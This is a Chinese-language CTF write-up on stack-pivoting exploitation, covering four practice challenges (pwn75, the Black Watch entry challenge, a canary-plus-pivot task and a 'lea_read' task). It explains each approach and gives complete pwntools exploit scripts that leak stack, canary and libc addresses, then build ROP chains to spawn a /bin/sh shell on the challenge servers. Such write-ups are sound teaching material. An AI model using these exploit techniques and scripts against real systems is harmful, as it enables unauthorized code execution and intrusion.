栈迁移
zach0ry

基础

两个对buf的输入

pwn75

image-20250801154953026

weizhi

位置不够,且有system函数但没有“/bin/sh”字符串

思路

泄露ebp的地址,然后gdb调试找到buf开头和ebp之间的偏移以找到buf的位置

之后通过第二次输入对调用system函数,并在payload中传入字符串“/bin/sh\x00”,之后通过这个函数的ret让程序返回到buf开头处执行后门函数

image-20250801155535039

差是0x38

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#p = process('./pwn75')
p = remote('pwn.challenge.ctf.show',28124)
p.recvuntil(b"codename:")
payload=b"a"*0x24+b"1234"
p.send(payload)
p.recvuntil(b"1234")
ebp = u32(p.recv(4))
print(hex(ebp))



leave=0x080486AC
system=0x08048400
main=0x08048768
off=0x38
buf=ebp-off

p.recvuntil(b"want to do?")
payload=p32(system)+p32(main)+p32(buf+12)+b"/bin/sh\x00"
payload=payload.ljust(0x28,b"a")
payload+=p32(buf-4)+p32(leave)
p.sendline(payload)


p.interactive()
1
payload=p32(system)+p32(main)+p32(buf+12)+b"/bin/sh\x00"

把/bin/sh字符段通过payload放入栈上,之后再system函数的的参数位置放置/bin/sh字符串的位置

1
2
3
4
5
payload=b"a"*0x24+b"1234"
p.send(payload)
p.recvuntil(b"1234")
ebp = u32(p.recv(4))
print(hex(ebp))

注意sendline会在发送payload之后再发送一个/n

会影响接收数据

一个s一个buf

[Black Watch 入群题]PWN

image-20250804155715914

image-20250804155757363

image-20250804155807306

没有system函数

思路

通过s设置rop链泄露got表地址,之后返回main函数继续执行,buf返回s去执行rop链

通过泄露的got表地址得到system的需要信息,构造后门函数

在s放置构造好的后门函数,通过buf让函数进入执行

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#p= process('./spwn')
p= remote("node5.buuoj.cn",28120)
elf=ELF("./spwn")
#gdb.attach(p,"b *0x08048511")


#bss=elf.bss()
s=0x0804A300
write_plt=elf.plt['write']
write_got=elf.got['write']
main=0x8048513
leave=0x08048511

payload=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.recvuntil(b"What is your name?")
p.send(payload)

p.recvuntil(b"What do you want to say?")
payload1=b"a"*24+p32(s-4)+p32(leave)
p.send(payload1)



write=u32(p.recv(4))
print(hex(write))
libc=LibcSearcher("write",write)
libc_base=write-libc.dump('write')
system=libc_base+libc.dump('system')
sh=libc_base+libc.dump('str_bin_sh')

payload=p32(system)+p32(0)+p32(sh)
p.recvuntil(b"What is your name?")
p.send(payload)

p.recvuntil(b"What do you want to say?")

p.send(payload1)
p.interactive()

注意:返回地址必须写main的地址

在 vul_function 函数中,程序会在栈上创建一个名为buf 的缓冲区。

如果你的 ROP 链没有回到 main,而是直接回到 vul_function,那么 vul_function 在重新执行时会再次创建栈帧,这可能会影响你第一次泄漏后在 .bss 区域布置的 ROP 链。

main 函数的结构非常简单,它只调用 vul_function,因此它的栈帧非常稳定,不会干扰 bss 段中的数据。

当vul_function函数可以正常返回的时候,它的栈帧会被清理而不影响下一步

进阶

canary+迁移

附件

image-20250830205317641

image-20250830205431991

image-20250830205336016

输入的最远位置只到ret的地址,而且没有system函数,所以要栈迁移

而且有canary泄露

所以接收buf的地址之后,通过printf的输出泄露canary,然后在buf上布置泄露libc的函数(返回地址写main),让函数跳转过去执行之后泄露,之后用泄露libc基地址去拿到shell

初始时操作系统为程序分配了内存,其中就包括初始栈空间(buf),之后栈迁移跳转到buf段,再次进入main函数,程序在这里再次创建栈帧,所以输出的buf的地址会发生变化,要重新接收地址

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
import sys
from LibcSearcher import *
file_path = "./111"
remote_host = "node4.anna.nssctf.cn"
remote_port = 28483

context(arch='amd64', os='linux', log_level='debug')
elf = ELF(file_path)

if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
#gdb.attach(p, "b*0x04012D7")

p.recvuntil(b"Before you start to attack, I give you a small gift\n")
p.recvuntil(b"0x")
buf=int(p.recv(12),16)
print(b"buf=============="+hex(buf).encode())


puts_plt=elf.plt['puts']
read_got=elf.got['read']
main=0x40120A
leave=0x4012D7
rdi=0X401205
ret=0X40101a

payload1 = b'a' *0x28+ b'b'
p.send(payload1)
p.recvuntil(b'b')
canary = u64(p.recv(7).rjust(8, b'\00'))
print(f"canary -------------------:{hex(canary)}")



pay=p64(rdi) + p64(read_got) + p64(puts_plt)+ p64(ret)+p64(main)+ p64(canary)+p64(buf-8)+p64(leave)
p.recvuntil(b"The last read??")
p.send(pay)
read= u64(p.recvuntil("\x7f")[-6:] + b'\0\0')
print(f"read: {hex(read)}")


libc = LibcSearcher("read", read)
libc_base = read - libc.dump("read")
system= libc_base + libc.dump('system')
bin= libc_base + libc.dump('str_bin_sh')
print(b"base============="+hex(libc_base).encode())

# rsi=libc_base+0x2be51
# rdx=libc_base+0xa5722

p.recvuntil(b"0x")
buf=int(p.recv(12),16)
print(b"buf=============="+hex(buf).encode())
p.send(b'a')

pay=p64(rdi)+p64(bin)+p64(system)+b"a"*0x10+p64(canary) + p64(buf- 0x8) + p64(leave)


p.recvuntil(b"The last read??")
p.sendline(pay)
p.interactive()

收获

9b86515971cb82de7c5bf769e470ca06

代表栈不平衡

lea_read

附件

image-20250830211612652

image-20250830211640302

可以看到没有泄露地址的机会,但是read本身的比较特殊

read的读入地址是存储的是buf的地址,但是实际是按照其相对于rbp的偏移来确定的,所以我们可以把rbp赋值为我们要写入的地址+buf的off,之后把ret的地址覆盖为 lea rax, [rbp+buf]的地址,这里主要是因为后面会有赋值把rax的数值赋值给rdi,以实现后期的read读入地址的改变,已经read函数的调用

这里我们可以让函数跳转到bss段,但是注意bss段头部通常会存放一些程序初始化时使用的全局变量。为了避免覆盖这些重要数据,通常会将栈迁移的地址稍微往后移动一些,留出足够的空间。

一个对攻击有用的 lea 指令要满足:

  1. 计算出的地址依赖你能控制的基址(如 rbp);
  2. 结果寄存器会传递到函数参数里(如 rsi, rdi);
  3. 后续函数调用(如 read, puts)会真的使用这个地址;
  4. 不要有副作用破坏攻击环境。

image-20250830214959456

.bss 段是一个未初始化的数据段,它的大小通常在编译时确定,但其中的大部分空间可能没有被任何已知的变量占用。 IDA 显示了 .bss 段从 0x404040 开始,到 0x404069 结束,这表示在这个范围内,IDA 找到了已知的符号(如stdinstderr等)。

然而,这并不意味着 .bss 段只到 0x404069。程序的 .bss 段的实际大小可以在 ELF 文件的头部信息中找到。通常情况下,.bss 段会比 IDA 显示的已知符号范围大得多。

简单来说,IDA 就像一个图书馆目录,只列出了有名字的书(符号),但并不会把所有空书架(未使用的地址)都一一列出来。可以在任何空书架上放置你的东西,只要它属于这个图书馆(.bss 段)即可。

栈迁移的目标地址必须满足两个条件:

  1. 可写: 该内存区域必须是可写的,因为我们要把伪造的ROP链写入到这个位置。bss段就是可写的。

  2. 不被占用: 该区域不能被程序当前使用的其他数据(如全局变量)占用,否则会覆盖数据,导致程序崩溃。

    之所以选择bss段,是因为它在程序运行期间通常是未被初始化的,因此可以安全地用于存放我们的ROP链。而使用0x405000(或者脚本中的0x404500),可能是为了避免与bss段起始处的全局变量发生冲突,因为bss段的起始部分可能被用来存储一些未初始化的全局变量。

所以我们构造的时候尽量开一个新页,选择一个页对齐的地址,或者至少是一个较大的、远离已知数据的偏移地址.bss 段的首地址通常被程序用来存放一些重要的全局变量

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
import sys
from LibcSearcher import *

file_path = "./222"
remote_host = "node4.anna.nssctf.cn"
remote_port = 28483

context(arch='amd64', os='linux', log_level='debug')
elf = ELF(file_path)

if 're' in sys.argv:
p = remote(remote_host, remote_port)
else:
p = process(file_path)
#gdb.attach(p, "b*0x401211")

def sla(a, b):
p.sendlineafter(a, b)
def ru(a):
p.recvuntil(a)
def sa(a, b):
p.sendafter(a, b)


bss=0x404500
main=0x4011DB
rdi=0x401225
leave=0x40121B
read=0x401200
rbp=0x40115d
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
ret=0x40101a


pay1=b"a"*0x50+p64(bss+0x50)+p64(read)
sa(b"Xswlhhh!Use stack hijacking on him!",pay1)

pay=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(rbp)+p64(bss+0x200+0x50)+p64(read)
pay=pay.ljust(0x50,b"a")+p64(bss-8)+p64(leave)
p.send(pay)

puts = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
print(b"puts==========="+hex(puts).encode())

libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump("puts")
print(b"libc_base==========="+hex(libc_base).encode())

system=libc_base+libc.dump("system")
bin=libc_base+libc.dump("str_bin_sh")
print(b"system==========="+hex(system).encode())
print(b"bin==========="+hex(bin).encode())


payload=p64(ret)+p64(rdi)+p64(bin)+p64(ret)+p64(system)
payload=payload.ljust(0x50,b"\x00")
payload+= p64(bss+0x200)+p64(leave)
p.send(payload)



p.interactive()

收获

image-20250830215518461

调用system函数会压栈,所以这个地址也要抬高,确保它是在rw-p权限段

在没有抬高栈地址的时候

image-20250830220640136

image-20250830220708847

此时权限不够